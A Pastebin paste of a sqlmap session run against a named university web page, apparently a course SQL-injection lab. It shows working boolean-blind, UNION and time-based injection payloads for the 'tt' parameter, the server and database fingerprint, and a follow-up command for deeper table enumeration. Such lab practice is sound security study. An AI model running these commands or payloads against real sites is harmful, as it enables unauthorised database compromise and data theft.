Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2013
577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.29 KB | None | 0 0
  1. root@bt:/pentest/database/sqlmap# python ./sqlmap.py --url https://minotaur.fi.muni.cz:8443/~xkumpost/bis/part3/sql_injection/?tt=1
  2.  
  3. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  4. http://sqlmap.org
  5.  
  6. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  7.  
  8. [*] starting at 12:09:40
  9.  
  10. [12:09:40] [INFO] testing connection to the target url
  11. [12:09:40] [INFO] testing if the url is stable, wait a few seconds
  12. [12:09:42] [INFO] url is stable
  13. [12:09:42] [INFO] testing if GET parameter 'tt' is dynamic
  14. [12:09:42] [INFO] confirming that GET parameter 'tt' is dynamic
  15. [12:09:42] [INFO] GET parameter 'tt' is dynamic
  16. [12:09:43] [WARNING] reflective value(s) found and filtering out
  17. [12:09:43] [INFO] heuristic test shows that GET parameter 'tt' might be injectable (possible DBMS: MySQL)
  18. [12:09:43] [INFO] testing for SQL injection on GET parameter 'tt'
  19. [12:09:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  20. [12:09:48] [INFO] GET parameter 'tt' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  21. [12:09:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  22. [12:09:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  23. [12:09:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  24. [12:09:59] [INFO] GET parameter 'tt' is 'MySQL > 5.0.11 AND time-based blind' injectable
  25. [12:09:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  26. [12:09:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
  27. [12:10:00] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  28. [12:10:01] [INFO] target url appears to have 5 columns in query
  29. [12:10:01] [INFO] GET parameter 'tt' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  30. GET parameter 'tt' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
  31. sqlmap identified the following injection points with a total of 23 HTTP(s) requests:
  32. ---
  33. Place: GET
  34. Parameter: tt
  35. Type: boolean-based blind
  36. Title: AND boolean-based blind - WHERE or HAVING clause
  37. Payload: tt=1' AND 7157=7157 AND 'nkCS'='nkCS
  38.  
  39. Type: UNION query
  40. Title: MySQL UNION query (NULL) - 5 columns
  41. Payload: tt=1' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f6c6a3a,0x416f764b527969414442,0x3a6d73623a), NULL, NULL#
  42.  
  43. Type: AND/OR time-based blind
  44. Title: MySQL > 5.0.11 AND time-based blind
  45. Payload: tt=1' AND SLEEP(5) AND 'DADJ'='DADJ
  46. ---
  47.  
  48. [12:10:59] [INFO] the back-end DBMS is MySQL
  49. web server operating system: Linux Mandriva
  50. web application technology: Apache 2.2.22, PHP 5.3.14
  51. back-end DBMS: MySQL 5.0.11
  52. [12:10:59] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/minotaur.fi.muni.cz'
  53.  
  54. [*] shutting down at 12:10:59
  55.  
  56.  
  57. python ./sqlmap.py --url https://minotaur.fi.muni.cz:8443/~xkumpost/bis/part3/sql_injection/?tt=1 --level 5 --risk 3 --common-tables
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement